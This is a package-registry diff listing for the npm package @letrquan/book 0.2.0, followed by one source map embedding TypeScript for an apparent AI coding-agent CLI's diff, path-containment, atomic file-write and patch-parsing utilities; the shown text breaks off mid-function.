@letrquan/book 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +2504 -0
- package/LICENSE +123 -0
- package/README.md +1383 -0
- package/dist/app-MOXXWEOY.js +18945 -0
- package/dist/app-MOXXWEOY.js.map +1 -0
- package/dist/chunk-24AXE6SP.js +12 -0
- package/dist/chunk-24AXE6SP.js.map +1 -0
- package/dist/chunk-3U5IBM24.js +213 -0
- package/dist/chunk-3U5IBM24.js.map +1 -0
- package/dist/chunk-574C6MQR.js +743 -0
- package/dist/chunk-574C6MQR.js.map +1 -0
- package/dist/chunk-5GDZ22YP.js +449 -0
- package/dist/chunk-5GDZ22YP.js.map +1 -0
- package/dist/chunk-5KLVH3PY.js +167 -0
- package/dist/chunk-5KLVH3PY.js.map +1 -0
- package/dist/chunk-5RDRAO4B.js +92 -0
- package/dist/chunk-5RDRAO4B.js.map +1 -0
- package/dist/chunk-7N4J557C.js +10 -0
- package/dist/chunk-7N4J557C.js.map +1 -0
- package/dist/chunk-A7JLBK2Y.js +3506 -0
- package/dist/chunk-A7JLBK2Y.js.map +1 -0
- package/dist/chunk-ANSJPYGI.js +84 -0
- package/dist/chunk-ANSJPYGI.js.map +1 -0
- package/dist/chunk-BTZZUCLI.js +264 -0
- package/dist/chunk-BTZZUCLI.js.map +1 -0
- package/dist/chunk-C7D4NJ2D.js +217 -0
- package/dist/chunk-C7D4NJ2D.js.map +1 -0
- package/dist/chunk-CAGOB2N4.js +208 -0
- package/dist/chunk-CAGOB2N4.js.map +1 -0
- package/dist/chunk-DGMQEI6Y.js +98 -0
- package/dist/chunk-DGMQEI6Y.js.map +1 -0
- package/dist/chunk-E75IPST5.js +289 -0
- package/dist/chunk-E75IPST5.js.map +1 -0
- package/dist/chunk-EYGD6X2T.js +180 -0
- package/dist/chunk-EYGD6X2T.js.map +1 -0
- package/dist/chunk-GTVB4HEM.js +765 -0
- package/dist/chunk-GTVB4HEM.js.map +1 -0
- package/dist/chunk-J7MIZ5CA.js +1907 -0
- package/dist/chunk-J7MIZ5CA.js.map +1 -0
- package/dist/chunk-KWHQ2XXL.js +626 -0
- package/dist/chunk-KWHQ2XXL.js.map +1 -0
- package/dist/chunk-L6LK2QIQ.js +657 -0
- package/dist/chunk-L6LK2QIQ.js.map +1 -0
- package/dist/chunk-MAQXCUR4.js +1007 -0
- package/dist/chunk-MAQXCUR4.js.map +1 -0
- package/dist/chunk-S4XL7HOM.js +402 -0
- package/dist/chunk-S4XL7HOM.js.map +1 -0
- package/dist/chunk-URLQAXTR.js +60 -0
- package/dist/chunk-URLQAXTR.js.map +1 -0
- package/dist/chunk-V4BOYR52.js +3504 -0
- package/dist/chunk-V4BOYR52.js.map +1 -0
- package/dist/chunk-VZQXX3WW.js +210 -0
- package/dist/chunk-VZQXX3WW.js.map +1 -0
- package/dist/chunk-WKBO5R4O.js +34 -0
- package/dist/chunk-WKBO5R4O.js.map +1 -0
- package/dist/chunk-XIFFTATU.js +15753 -0
- package/dist/chunk-XIFFTATU.js.map +1 -0
- package/dist/command-approvals-6Y57VCWZ.js +28 -0
- package/dist/command-approvals-6Y57VCWZ.js.map +1 -0
- package/dist/context-ZC5IFEAX.js +25 -0
- package/dist/context-ZC5IFEAX.js.map +1 -0
- package/dist/hook-approvals-CTUFKEJT.js +22 -0
- package/dist/hook-approvals-CTUFKEJT.js.map +1 -0
- package/dist/index.d.ts +1 -0
- package/dist/index.js +2582 -0
- package/dist/index.js.map +1 -0
- package/dist/interactive-assets-CCAAWVKH.js +31 -0
- package/dist/interactive-assets-CCAAWVKH.js.map +1 -0
- package/dist/job-runner.d.ts +2 -0
- package/dist/job-runner.js +235 -0
- package/dist/job-runner.js.map +1 -0
- package/dist/loader-4IDS2RIE.js +15 -0
- package/dist/loader-4IDS2RIE.js.map +1 -0
- package/dist/mcp-approvals-WNPH65BK.js +18 -0
- package/dist/mcp-approvals-WNPH65BK.js.map +1 -0
- package/dist/mcp-config-YIJIES2C.js +16 -0
- package/dist/mcp-config-YIJIES2C.js.map +1 -0
- package/dist/model-window-store-YFVNXCIP.js +27 -0
- package/dist/model-window-store-YFVNXCIP.js.map +1 -0
- package/dist/openai-compatible-RHZUBHV6.js +10 -0
- package/dist/openai-compatible-RHZUBHV6.js.map +1 -0
- package/dist/permission-approvals-76PVREFD.js +14 -0
- package/dist/permission-approvals-76PVREFD.js.map +1 -0
- package/dist/permissions-CHCKTFQQ.js +28 -0
- package/dist/permissions-CHCKTFQQ.js.map +1 -0
- package/dist/sandbox-CNVAQDA7.js +23 -0
- package/dist/sandbox-CNVAQDA7.js.map +1 -0
- package/dist/scrollback-LUKLIBVI.js +136 -0
- package/dist/scrollback-LUKLIBVI.js.map +1 -0
- package/dist/sdk.d.ts +4574 -0
- package/dist/sdk.js +665 -0
- package/dist/sdk.js.map +1 -0
- package/dist/settings-loader-M2QP5TX2.js +21 -0
- package/dist/settings-loader-M2QP5TX2.js.map +1 -0
- package/dist/settings-removed-JWWPT4WA.js +19 -0
- package/dist/settings-removed-JWWPT4WA.js.map +1 -0
- package/dist/shell-selection-V6QAYXPX.js +17 -0
- package/dist/shell-selection-V6QAYXPX.js.map +1 -0
- package/package.json +143 -0
- package/patches/ink+6.8.0.patch +13 -0
- package/scripts/apply-ink-patch.mjs +29 -0
- package/scripts/ink-patch.mjs +59 -0
- package/scripts/verify-ink-patch.mjs +11 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/async.ts","../src/tools/diff.ts","../src/tools/path-utils.ts","../src/tools/mutation.ts","../src/tools/patch.ts","../src/permissions.ts"],"sourcesContent":["export function throwIfAborted(signal?: AbortSignal): void {\r\n if (!signal?.aborted) return;\r\n\r\n if (signal.reason instanceof Error) throw signal.reason;\r\n throw new Error(typeof signal.reason === 'string' ? signal.reason : 'Operation cancelled');\r\n}\r\n\r\n/**\r\n * Subscribe to `signal`, returning an unsubscribe function.\r\n *\r\n * Fires immediately when the signal has already aborted, so a caller that\r\n * subscribes after an `await` cannot miss an abort that landed during it.\r\n * Handlers must be idempotent for that reason.\r\n */\r\nexport function onAbort(signal: AbortSignal | undefined, handler: () => void): () => void {\r\n if (!signal) return () => {};\r\n if (signal.aborted) {\r\n handler();\r\n return () => {};\r\n }\r\n signal.addEventListener('abort', handler, { once: true });\r\n return () => signal.removeEventListener('abort', handler);\r\n}\r\n\r\n/**\r\n * Sleep, resolving early if `signal` aborts.\r\n *\r\n * Resolves rather than throws on abort: callers use it for backoff and check the\r\n * signal themselves at the point where cancelling changes what they do next.\r\n */\r\nexport async function delay(ms: number, signal?: AbortSignal): Promise<void> {\r\n if (ms <= 0 || signal?.aborted) return;\r\n await new Promise<void>((resolve) => {\r\n const timer = setTimeout(() => {\r\n unsubscribe();\r\n resolve();\r\n }, ms);\r\n const unsubscribe = onAbort(signal, () => {\r\n clearTimeout(timer);\r\n resolve();\r\n });\r\n });\r\n}\r\n\r\n/** Yield a macrotask so terminal input, Ink rendering, timers, and aborts can run. */\r\nexport async function yieldToEventLoop(signal?: AbortSignal): Promise<void> {\r\n throwIfAborted(signal);\r\n await new Promise<void>((resolve) => setImmediate(resolve));\r\n throwIfAborted(signal);\r\n}\r\n","import { throwIfAborted, yieldToEventLoop } from '../async.js';\r\n\r\n/**\r\n * Minimal unified-diff generator for tool result output.\r\n * Produces a CC-style snippet: a few context lines around each hunk with\r\n * `-`/`+` markers. Good enough for ToolCallBlock rendering; not a full diff3.\r\n */\r\n\r\nfunction splitLines(s: string): string[] {\r\n // Preserve a trailing empty line so edits at EOF render correctly.\r\n const lines = s.split('\\n');\r\n if (lines.length > 0 && lines[lines.length - 1] === '') lines.pop();\r\n return lines;\r\n}\r\n\r\nexport interface DiffHunk {\r\n oldStart: number;\r\n newStart: number;\r\n lines: Array<{ kind: 'ctx' | 'add' | 'del'; text: string }>;\r\n}\r\n\r\nexport interface DiffStats {\r\n addedLines: number;\r\n removedLines: number;\r\n}\r\n\r\ninterface DiffOp {\r\n kind: 'ctx' | 'add' | 'del';\r\n text: string;\r\n ai: number;\r\n bi: number;\r\n}\r\n\r\nconst DIFF_YIELD_CELLS = 32_768;\r\nconst DIFF_YIELD_ITEMS = 1_024;\r\n\r\n/**\r\n * Lines shared at both ends of the two inputs.\r\n *\r\n * The LCS table below is O(n·m) in time and memory, and almost every real\r\n * edit changes a few lines of a file that is otherwise identical on both\r\n * sides. Trimming the shared prefix and suffix first turns a one-line edit\r\n * in a twenty-thousand-line file from a 400M-cell table into a handful.\r\n */\r\nfunction commonAffixes(a: string[], b: string[]): { prefix: number; suffix: number } {\r\n const max = Math.min(a.length, b.length);\r\n let prefix = 0;\r\n while (prefix < max && a[prefix] === b[prefix]) prefix++;\r\n let suffix = 0;\r\n while (suffix < max - prefix && a[a.length - 1 - suffix] === b[b.length - 1 - suffix]) suffix++;\r\n return { prefix, suffix };\r\n}\r\n\r\nfunction contextOps(a: string[], from: number, count: number, bOffset: number): DiffOp[] {\r\n const ops: DiffOp[] = [];\r\n for (let index = 0; index < count; index++) {\r\n const ai = from + index;\r\n ops.push({ kind: 'ctx', text: a[ai], ai, bi: ai + bOffset });\r\n }\r\n return ops;\r\n}\r\n\r\n/** Walk a filled LCS table into an edit script, offset into the full inputs. */\r\nfunction editScript(\r\n a: string[],\r\n b: string[],\r\n dp: ArrayLike<ArrayLike<number>>,\r\n offset: number,\r\n): DiffOp[] {\r\n const n = a.length;\r\n const m = b.length;\r\n const ops: DiffOp[] = [];\r\n let i = 0;\r\n let j = 0;\r\n while (i < n && j < m) {\r\n if (a[i] === b[j]) {\r\n ops.push({ kind: 'ctx', text: a[i], ai: offset + i, bi: offset + j });\r\n i++;\r\n j++;\r\n } else if (dp[i + 1][j] >= dp[i][j + 1]) {\r\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\r\n i++;\r\n } else {\r\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\r\n j++;\r\n }\r\n }\r\n while (i < n) {\r\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\r\n i++;\r\n }\r\n while (j < m) {\r\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\r\n j++;\r\n }\r\n return ops;\r\n}\r\n\r\n/** Group consecutive non-context ops into hunks, padded by `context` ctx lines. */\r\nfunction hunkBounds(ops: DiffOp[], context: number): Array<[number, number]> {\r\n const bounds: Array<[number, number]> = [];\r\n let k = 0;\r\n while (k < ops.length) {\r\n if (ops[k].kind === 'ctx') {\r\n k++;\r\n continue;\r\n }\r\n const start = k;\r\n // Walk back context.\r\n let ctxBefore = 0;\r\n let s = start - 1;\r\n while (s >= 0 && ops[s].kind === 'ctx' && ctxBefore < context) {\r\n s--;\r\n ctxBefore++;\r\n }\r\n // Walk forward through all consecutive non-context ops, then context after.\r\n let e = start;\r\n while (e < ops.length && ops[e].kind !== 'ctx') e++;\r\n let ctxAfter = 0;\r\n while (e < ops.length && ops[e].kind === 'ctx' && ctxAfter < context) {\r\n e++;\r\n ctxAfter++;\r\n }\r\n bounds.push([s + 1, e]);\r\n k = e;\r\n }\r\n return bounds;\r\n}\r\n\r\nfunction hunkFrom(ops: DiffOp[], start: number, end: number): DiffHunk {\r\n const hunkOps = ops.slice(start, end);\r\n return {\r\n oldStart: (hunkOps[0]?.ai ?? 0) + 1,\r\n newStart: (hunkOps[0]?.bi ?? 0) + 1,\r\n lines: hunkOps.map((o) => ({ kind: o.kind, text: o.text })),\r\n };\r\n}\r\n\r\n/** Compute a line-level diff between two strings. Returns hunks with context. */\r\nexport function lineDiff(oldText: string, newText: string, context = 3): DiffHunk[] {\r\n const a = splitLines(oldText);\r\n const b = splitLines(newText);\r\n const { prefix, suffix } = commonAffixes(a, b);\r\n const midA = a.slice(prefix, a.length - suffix);\r\n const midB = b.slice(prefix, b.length - suffix);\r\n\r\n // LCS-based edit script over the changed span only.\r\n const n = midA.length;\r\n const m = midB.length;\r\n const dp: number[][] = Array.from({ length: n + 1 }, () => new Array(m + 1).fill(0));\r\n for (let i = n - 1; i >= 0; i--) {\r\n for (let j = m - 1; j >= 0; j--) {\r\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\r\n }\r\n }\r\n\r\n const ops = [\r\n ...contextOps(a, 0, prefix, 0),\r\n ...editScript(midA, midB, dp, prefix),\r\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\r\n ];\r\n return hunkBounds(ops, context).map(([start, end]) => hunkFrom(ops, start, end));\r\n}\r\n\r\n/** Cooperative variant used by agent tools so large diffs do not block Ink. */\r\nexport async function lineDiffAsync(\r\n oldText: string,\r\n newText: string,\r\n context = 3,\r\n signal?: AbortSignal,\r\n): Promise<DiffHunk[]> {\r\n const a = splitLines(oldText);\r\n const b = splitLines(newText);\r\n const { prefix, suffix } = commonAffixes(a, b);\r\n const midA = a.slice(prefix, a.length - suffix);\r\n const midB = b.slice(prefix, b.length - suffix);\r\n const n = midA.length;\r\n const m = midB.length;\r\n const dp: number[][] = [];\r\n\r\n for (let row = 0; row <= n; row++) {\r\n dp.push(new Array<number>(m + 1).fill(0));\r\n if (row > 0 && row % 128 === 0) await yieldToEventLoop(signal);\r\n }\r\n\r\n let cellsUntilYield = DIFF_YIELD_CELLS;\r\n for (let i = n - 1; i >= 0; i--) {\r\n for (let j = m - 1; j >= 0; j--) {\r\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\r\n cellsUntilYield--;\r\n if (cellsUntilYield === 0) {\r\n cellsUntilYield = DIFF_YIELD_CELLS;\r\n await yieldToEventLoop(signal);\r\n }\r\n }\r\n }\r\n\r\n throwIfAborted(signal);\r\n const ops = [\r\n ...contextOps(a, 0, prefix, 0),\r\n ...editScript(midA, midB, dp, prefix),\r\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\r\n ];\r\n if (ops.length > DIFF_YIELD_ITEMS) await yieldToEventLoop(signal);\r\n\r\n const hunks: DiffHunk[] = [];\r\n for (const [start, end] of hunkBounds(ops, context)) {\r\n hunks.push(hunkFrom(ops, start, end));\r\n await yieldToEventLoop(signal);\r\n }\r\n\r\n throwIfAborted(signal);\r\n return hunks;\r\n}\r\n\r\nexport function diffStatsFromHunks(hunks: DiffHunk[]): DiffStats {\r\n let addedLines = 0;\r\n let removedLines = 0;\r\n for (const hunk of hunks) {\r\n for (const line of hunk.lines) {\r\n if (line.kind === 'add') addedLines++;\r\n if (line.kind === 'del') removedLines++;\r\n }\r\n }\r\n return { addedLines, removedLines };\r\n}\r\n\r\nexport function renderDiffWithStats(\r\n oldText: string,\r\n newText: string,\r\n context = 3,\r\n): { diff: string; stats: DiffStats } {\r\n const hunks = lineDiff(oldText, newText, context);\r\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\r\n const out: string[] = [];\r\n for (const h of hunks) {\r\n out.push(`@@ -${h.oldStart} +${h.newStart} @@`);\r\n for (const l of h.lines) {\r\n const prefix = l.kind === 'add' ? '+' : l.kind === 'del' ? '-' : ' ';\r\n out.push(prefix + l.text);\r\n }\r\n }\r\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\r\n}\r\n\r\nexport async function renderDiffWithStatsAsync(\r\n oldText: string,\r\n newText: string,\r\n context = 3,\r\n signal?: AbortSignal,\r\n): Promise<{ diff: string; stats: DiffStats }> {\r\n const hunks = await lineDiffAsync(oldText, newText, context, signal);\r\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\r\n\r\n const out: string[] = [];\r\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\r\n const hunk = hunks[hunkIndex];\r\n out.push(`@@ -${hunk.oldStart} +${hunk.newStart} @@`);\r\n for (let lineIndex = 0; lineIndex < hunk.lines.length; lineIndex++) {\r\n const line = hunk.lines[lineIndex];\r\n const prefix = line.kind === 'add' ? '+' : line.kind === 'del' ? '-' : ' ';\r\n out.push(prefix + line.text);\r\n if (lineIndex > 0 && lineIndex % DIFF_YIELD_ITEMS === 0) await yieldToEventLoop(signal);\r\n }\r\n if (hunkIndex > 0 && hunkIndex % 64 === 0) await yieldToEventLoop(signal);\r\n }\r\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\r\n}\r\n\r\n/** Render a unified diff string. */\r\nexport function renderDiff(oldText: string, newText: string, context = 3): string {\r\n return renderDiffWithStats(oldText, newText, context).diff;\r\n}\r\n","import { existsSync, realpathSync } from 'fs';\r\nimport { dirname, isAbsolute, relative, resolve, sep } from 'path';\r\nimport type { ToolResult } from '../types/tools.js';\r\nimport { toolFailure } from './result.js';\r\n\r\nfunction isOutside(root: string, candidate: string): boolean {\r\n const rel = relative(root, candidate);\r\n return rel === '..' || rel.startsWith(`..${sep}`) || isAbsolute(rel);\r\n}\r\n\r\nfunction nearestExistingPath(inputPath: string): string | null {\r\n let candidate = inputPath;\r\n while (!existsSync(candidate)) {\r\n const parent = dirname(candidate);\r\n if (parent === candidate) return null;\r\n candidate = parent;\r\n }\r\n return candidate;\r\n}\r\n\r\nexport function resolveWorkspacePath(\r\n workspaceRoot: string,\r\n inputPath: string,\r\n): { filePath: string; canonicalPath: string; relativePath: string } | null {\r\n const lexicalRoot = resolve(workspaceRoot);\r\n const filePath = resolve(isAbsolute(inputPath) ? inputPath : resolve(lexicalRoot, inputPath));\r\n if (isOutside(lexicalRoot, filePath)) return null;\r\n\r\n const existingPath = nearestExistingPath(filePath);\r\n if (!existingPath) return null;\r\n\r\n let realRoot: string;\r\n let realExisting: string;\r\n try {\r\n realRoot = realpathSync.native(lexicalRoot);\r\n realExisting = realpathSync.native(existingPath);\r\n } catch {\r\n return null;\r\n }\r\n if (isOutside(realRoot, realExisting)) return null;\r\n\r\n const canonicalPath = resolve(realExisting, relative(existingPath, filePath));\r\n if (isOutside(realRoot, canonicalPath)) return null;\r\n\r\n const rel = relative(lexicalRoot, filePath);\r\n return { filePath, canonicalPath, relativePath: rel.replace(/\\\\/g, '/') };\r\n}\r\n\r\nexport function pathOutsideWorkspaceResult(inputPath: unknown): ToolResult {\r\n return toolFailure(`Path outside workspace: ${inputPath}`, {\r\n code: 'path_outside_workspace',\r\n });\r\n}\r\n","import { randomUUID } from 'node:crypto';\r\nimport { mkdir, readFile, rename, rm, stat, writeFile } from 'node:fs/promises';\r\nimport { dirname } from 'node:path';\r\nimport { throwIfAborted } from '../async.js';\r\n\r\nexport type LineEnding = 'lf' | 'crlf';\r\n\r\nexport interface TextSnapshot {\r\n exists: boolean;\r\n bytes: Buffer;\r\n text: string;\r\n bom: boolean;\r\n lineEnding: LineEnding;\r\n mixedLineEndings: boolean;\r\n binary: boolean;\r\n mode?: number;\r\n}\r\n\r\nconst pathLocks = new Map<string, Promise<void>>();\r\n\r\nfunction looksBinary(bytes: Buffer): boolean {\r\n const sample = bytes.subarray(0, 8192);\r\n if (sample.includes(0)) return true;\r\n let controls = 0;\r\n for (const byte of sample) {\r\n if (byte < 7 || (byte > 13 && byte < 32)) controls++;\r\n }\r\n return sample.length > 0 && controls / sample.length > 0.1;\r\n}\r\n\r\nexport async function readTextSnapshot(\r\n filePath: string,\r\n allowMissing = false,\r\n): Promise<TextSnapshot> {\r\n let bytes: Buffer;\r\n try {\r\n bytes = await readFile(filePath);\r\n } catch (error) {\r\n if (allowMissing && (error as NodeJS.ErrnoException).code === 'ENOENT') {\r\n return {\r\n exists: false,\r\n bytes: Buffer.alloc(0),\r\n text: '',\r\n bom: false,\r\n lineEnding: 'lf',\r\n mixedLineEndings: false,\r\n binary: false,\r\n mode: undefined,\r\n };\r\n }\r\n throw error;\r\n }\r\n const bom = bytes.length >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf;\r\n const body = bytes.subarray(bom ? 3 : 0);\r\n let binary = looksBinary(bytes);\r\n let decoded: string;\r\n try {\r\n decoded = new TextDecoder('utf-8', { fatal: true }).decode(body);\r\n } catch {\r\n binary = true;\r\n decoded = body.toString('utf8');\r\n }\r\n const crlfCount = (decoded.match(/\\r\\n/g) ?? []).length;\r\n const bareLfCount = (decoded.replace(/\\r\\n/g, '').match(/\\n/g) ?? []).length;\r\n const bareCrCount = (decoded.replace(/\\r\\n/g, '').match(/\\r/g) ?? []).length;\r\n const mixedLineEndings = (crlfCount > 0 && bareLfCount > 0) || bareCrCount > 0;\r\n const mode = (await stat(filePath)).mode & 0o777;\r\n return {\r\n exists: true,\r\n bytes,\r\n text: decoded.replace(/\\r\\n/g, '\\n'),\r\n bom,\r\n lineEnding: crlfCount > bareLfCount ? 'crlf' : 'lf',\r\n mixedLineEndings,\r\n binary,\r\n mode,\r\n };\r\n}\r\n\r\nexport function restoreTextEncoding(\r\n text: string,\r\n snapshot: Pick<TextSnapshot, 'bom' | 'lineEnding'>,\r\n): Buffer {\r\n const body = snapshot.lineEnding === 'crlf' ? text.replace(/\\n/g, '\\r\\n') : text;\r\n return Buffer.from(`${snapshot.bom ? '\\ufeff' : ''}${body}`, 'utf8');\r\n}\r\n\r\nexport async function writeFileAtomically(\r\n filePath: string,\r\n bytes: Uint8Array,\r\n signal?: AbortSignal,\r\n mode?: number,\r\n): Promise<void> {\r\n throwIfAborted(signal);\r\n await mkdir(dirname(filePath), { recursive: true });\r\n const temporary = `${filePath}.book-tmp-${randomUUID()}`;\r\n try {\r\n await writeFile(temporary, bytes, { flag: 'wx', mode });\r\n throwIfAborted(signal);\r\n await rename(temporary, filePath);\r\n } finally {\r\n await rm(temporary, { force: true }).catch(() => undefined);\r\n }\r\n}\r\n\r\nexport async function removeFileAtomically(filePath: string, signal?: AbortSignal): Promise<void> {\r\n throwIfAborted(signal);\r\n await rm(filePath, { force: false });\r\n}\r\n\r\nasync function acquirePath(path: string): Promise<() => void> {\r\n const previous = pathLocks.get(path) ?? Promise.resolve();\r\n let release!: () => void;\r\n const current = new Promise<void>((resolve) => {\r\n release = resolve;\r\n });\r\n const queued = previous.then(() => current);\r\n pathLocks.set(path, queued);\r\n await previous;\r\n return () => {\r\n release();\r\n if (pathLocks.get(path) === queued) pathLocks.delete(path);\r\n };\r\n}\r\n\r\n/** Serialize mutation validation and commit for each path, in stable order. */\r\nexport async function withMutationLocks<T>(\r\n paths: string[],\r\n operation: () => Promise<T>,\r\n): Promise<T> {\r\n const releases: Array<() => void> = [];\r\n try {\r\n for (const path of [...new Set(paths)].sort()) releases.push(await acquirePath(path));\r\n return await operation();\r\n } finally {\r\n for (const release of releases.reverse()) release();\r\n }\r\n}\r\n","import type {\r\n ToolContext,\r\n ToolDefinition,\r\n ToolResult,\r\n FileMutationSummary,\r\n} from '../types/tools.js';\r\nimport { throwIfAborted } from '../async.js';\r\nimport { renderDiffWithStatsAsync } from './diff.js';\r\nimport { observeFile, requireFreshObservation } from './file-provenance.js';\r\nimport { pathOutsideWorkspaceResult, resolveWorkspacePath } from './path-utils.js';\r\nimport { toolFailure, toolSuccess } from './result.js';\r\nimport {\r\n readTextSnapshot,\r\n removeFileAtomically,\r\n restoreTextEncoding,\r\n withMutationLocks,\r\n writeFileAtomically,\r\n type TextSnapshot,\r\n} from './mutation.js';\r\n\r\nconst MAX_PATCH_BYTES = 1024 * 1024;\r\nconst MAX_FILES = 100;\r\nconst MAX_HUNKS = 1000;\r\n\r\nexport type PatchOperation =\r\n | { kind: 'update'; path: string; hunks: PatchHunk[] }\r\n | { kind: 'add'; path: string; lines: string[] }\r\n | { kind: 'delete'; path: string };\r\n\r\nexport interface PatchHunk {\r\n header: string;\r\n oldStart?: number;\r\n lines: Array<{\r\n kind: 'context' | 'remove' | 'add';\r\n text: string;\r\n noNewline?: boolean;\r\n }>;\r\n}\r\n\r\ninterface StagedFile {\r\n operation: PatchOperation;\r\n absolutePath: string;\r\n writePath: string;\r\n relativePath: string;\r\n before: TextSnapshot;\r\n afterBytes?: Buffer;\r\n afterText?: string;\r\n mutation: FileMutationSummary;\r\n}\r\n\r\nexport interface ParsedPatch {\r\n operations: PatchOperation[];\r\n bytes: number;\r\n}\r\n\r\nfunction invalid(message: string, details?: Record<string, unknown>): ToolResult {\r\n return toolFailure(message, {\r\n code: 'invalid_patch_syntax',\r\n remediation: 'Regenerate a Codex-style patch with Begin/End markers and valid file hunks.',\r\n details,\r\n });\r\n}\r\n\r\nfunction parseHunkHeader(line: string): { oldStart?: number } {\r\n const match = line.match(/^@@(?: -(\\d+)(?:,(\\d+))?)?(?: \\+(\\d+)(?:,(\\d+))?)?(?: @@.*)?$/);\r\n if (!match) throw new Error(`Invalid hunk header: ${line}`);\r\n return { oldStart: match[1] ? Number(match[1]) : undefined };\r\n}\r\n\r\nfunction parsePatchUnsafe(patch: unknown): ParsedPatch | ToolResult {\r\n if (typeof patch !== 'string' || patch.length === 0)\r\n return invalid('patch must be a non-empty string');\r\n const bytes = Buffer.byteLength(patch, 'utf8');\r\n if (bytes > MAX_PATCH_BYTES)\r\n return toolFailure(`Patch input exceeds ${MAX_PATCH_BYTES} bytes`, {\r\n code: 'patch_limit_exceeded',\r\n remediation: 'Split the change into smaller patches.',\r\n details: { limit: MAX_PATCH_BYTES, bytes },\r\n });\r\n const lines = patch.replace(/\\r\\n/g, '\\n').split('\\n');\r\n if (lines.at(-1) === '') lines.pop();\r\n if (lines[0] !== '*** Begin Patch' || lines.at(-1) !== '*** End Patch')\r\n return invalid('Patch must start with *** Begin Patch and end with *** End Patch');\r\n\r\n const operations: PatchOperation[] = [];\r\n let index = 1;\r\n let hunkCount = 0;\r\n while (index < lines.length - 1) {\r\n const marker = lines[index];\r\n const update = marker.match(/^\\*\\*\\* Update File: (.+)$/);\r\n const add = marker.match(/^\\*\\*\\* Add File: (.+)$/);\r\n const del = marker.match(/^\\*\\*\\* Delete File: (.+)$/);\r\n if (update) {\r\n const hunks: PatchHunk[] = [];\r\n index++;\r\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\r\n if (!lines[index].startsWith('@@'))\r\n throw new Error(`Expected @@ hunk header near line ${index + 1}`);\r\n const header = lines[index];\r\n const parsedHeader = parseHunkHeader(header);\r\n index++;\r\n const hunkLines: PatchHunk['lines'] = [];\r\n while (\r\n index < lines.length - 1 &&\r\n !lines[index].startsWith('@@') &&\r\n !lines[index].startsWith('*** ')\r\n ) {\r\n const line = lines[index++];\r\n if (line === '\\\') {\r\n const previous = hunkLines.at(-1);\r\n if (!previous)\r\n throw new Error(`No-newline marker has no preceding hunk line near line ${index}`);\r\n previous.noNewline = true;\r\n continue;\r\n }\r\n if (line.startsWith(' ')) hunkLines.push({ kind: 'context', text: line.slice(1) });\r\n else if (line.startsWith('-')) hunkLines.push({ kind: 'remove', text: line.slice(1) });\r\n else if (line.startsWith('+')) hunkLines.push({ kind: 'add', text: line.slice(1) });\r\n else throw new Error(`Invalid hunk line near line ${index}`);\r\n }\r\n if (hunkLines.length === 0) throw new Error(`Empty hunk near line ${index}`);\r\n if (!hunkLines.some((line) => line.kind !== 'add'))\r\n throw new Error(`Update hunk must contain context or removed lines near line ${index}`);\r\n hunks.push({ header, oldStart: parsedHeader.oldStart, lines: hunkLines });\r\n hunkCount++;\r\n }\r\n if (hunks.length === 0) throw new Error(`Update File ${update[1]} has no hunks`);\r\n operations.push({ kind: 'update', path: update[1].trim(), hunks });\r\n continue;\r\n }\r\n if (add) {\r\n index++;\r\n const content: string[] = [];\r\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\r\n const line = lines[index++];\r\n if (!line.startsWith('+'))\r\n throw new Error(`Added file lines must begin with + near line ${index}`);\r\n content.push(line.slice(1));\r\n }\r\n operations.push({ kind: 'add', path: add[1].trim(), lines: content });\r\n continue;\r\n }\r\n if (del) {\r\n index++;\r\n if (index < lines.length - 1 && !lines[index].startsWith('*** '))\r\n throw new Error(`Delete File ${del[1]} cannot contain patch lines`);\r\n operations.push({ kind: 'delete', path: del[1].trim() });\r\n continue;\r\n }\r\n throw new Error(`Expected a file operation near line ${index + 1}`);\r\n }\r\n if (operations.length === 0) return invalid('Patch contains no file operations');\r\n if (operations.length > MAX_FILES || hunkCount > MAX_HUNKS)\r\n return toolFailure(`Patch exceeds limits (${MAX_FILES} files, ${MAX_HUNKS} hunks)`, {\r\n code: 'patch_limit_exceeded',\r\n remediation: 'Split the change into smaller patches.',\r\n details: { files: operations.length, hunks: hunkCount },\r\n });\r\n return { operations, bytes };\r\n}\r\n\r\nexport function parsePatch(patch: unknown): ParsedPatch | ToolResult {\r\n try {\r\n return parsePatchUnsafe(patch);\r\n } catch (error) {\r\n return invalid(error instanceof Error ? error.message : String(error));\r\n }\r\n}\r\n\r\nfunction linesOf(text: string): string[] {\r\n const lines = text.split('\\n');\r\n if (lines.at(-1) === '') lines.pop();\r\n return lines;\r\n}\r\n\r\nfunction findUniqueSequence(\r\n haystack: string[],\r\n needle: string[],\r\n): { index: number; count: number } {\r\n if (needle.length === 0) return { index: 0, count: 0 };\r\n let index = -1;\r\n let count = 0;\r\n for (let start = 0; start <= haystack.length - needle.length; start++) {\r\n if (needle.every((line, offset) => haystack[start + offset] === line)) {\r\n index = start;\r\n count++;\r\n }\r\n }\r\n return { index, count };\r\n}\r\n\r\nfunction candidateLine(haystack: string[], line: string): number | undefined {\r\n const matches = haystack.reduce<number[]>((found, value, index) => {\r\n if (value === line) found.push(index + 1);\r\n return found;\r\n }, []);\r\n return matches.length === 1 ? matches[0] : undefined;\r\n}\r\n\r\nexport function applyHunks(\r\n text: string,\r\n hunks: PatchHunk[],\r\n): 